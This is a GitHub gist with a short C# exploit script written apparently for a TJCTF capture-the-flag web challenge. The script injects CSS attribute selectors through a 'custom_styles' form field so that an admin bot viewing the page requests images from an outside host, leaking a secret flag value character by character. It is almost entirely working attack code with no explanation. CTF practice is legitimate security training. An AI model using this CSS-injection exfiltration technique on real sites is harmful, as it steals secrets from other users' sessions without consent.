-
-
Save key-moon/3add12f4b80d1554c1929840b25518a7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static void Main() | |
{ | |
var cs = "abcdefghijklmnopqrstuvwxyz0123456789"; | |
var currentFlag = ""; | |
while (true) | |
{ | |
foreach (var c in cs) SendReq(currentFlag + c); | |
currentFlag += Console.ReadLine(); | |
} | |
} | |
static void SendReq(string s) | |
{ | |
var css = $".flag[value^={s}]{{background-image: url(http://ac-predictor.azurewebsites.net/{s}.png)}}"; | |
HttpClient client = new HttpClient(); | |
FormUrlEncodedContent content = new FormUrlEncodedContent(new Dictionary<string, string>{ | |
{"custom_styles", css } | |
}); | |
var cookie = client.PostAsync($"https://moar_horse_3.tjctf.org/", content).Result.Headers.GetValues("Set-Cookie").Last(); | |
Console.WriteLine($"cookie of {s} : {cookie}"); | |
HttpRequestMessage message = new HttpRequestMessage(HttpMethod.Get, "https://moar_horse_3.tjctf.org/show_admin"); | |
message.Headers.Add("Cookie", cookie); | |
client.SendAsync(message); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment